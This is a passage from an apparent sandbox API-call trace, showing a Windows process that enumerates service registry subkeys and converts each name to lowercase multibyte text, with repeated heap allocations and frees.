lpUsedDefaultChar=0x0) returned 5 [0166.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0166.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.284] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0166.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0166.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.284] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0166.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0166.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.284] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0166.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0166.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.284] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0166.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0166.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0166.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.285] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0166.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0166.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0166.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.285] RegEnumKeyW (in: hKey=0x140, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0166.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0166.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.285] RegEnumKeyW (in: hKey=0x140, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0166.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0166.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1460, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0166.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.285] RegEnumKeyW (in: hKey=0x140, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1418, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.286] RegEnumKeyW (in: hKey=0x140, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.286] RegEnumKeyW (in: hKey=0x140, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.286] RegEnumKeyW (in: hKey=0x140, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1460, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0166.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.287] RegEnumKeyW (in: hKey=0x140, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0166.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0166.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.287] RegEnumKeyW (in: hKey=0x140, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0166.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0166.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.287] RegEnumKeyW (in: hKey=0x140, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0166.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0166.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.287] RegEnumKeyW (in: hKey=0x140, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0166.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0166.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.288] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0166.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0166.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0166.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.288] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0166.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0166.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0166.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.288] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0166.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0166.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0166.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.288] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1460, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.289] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.289] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.289] 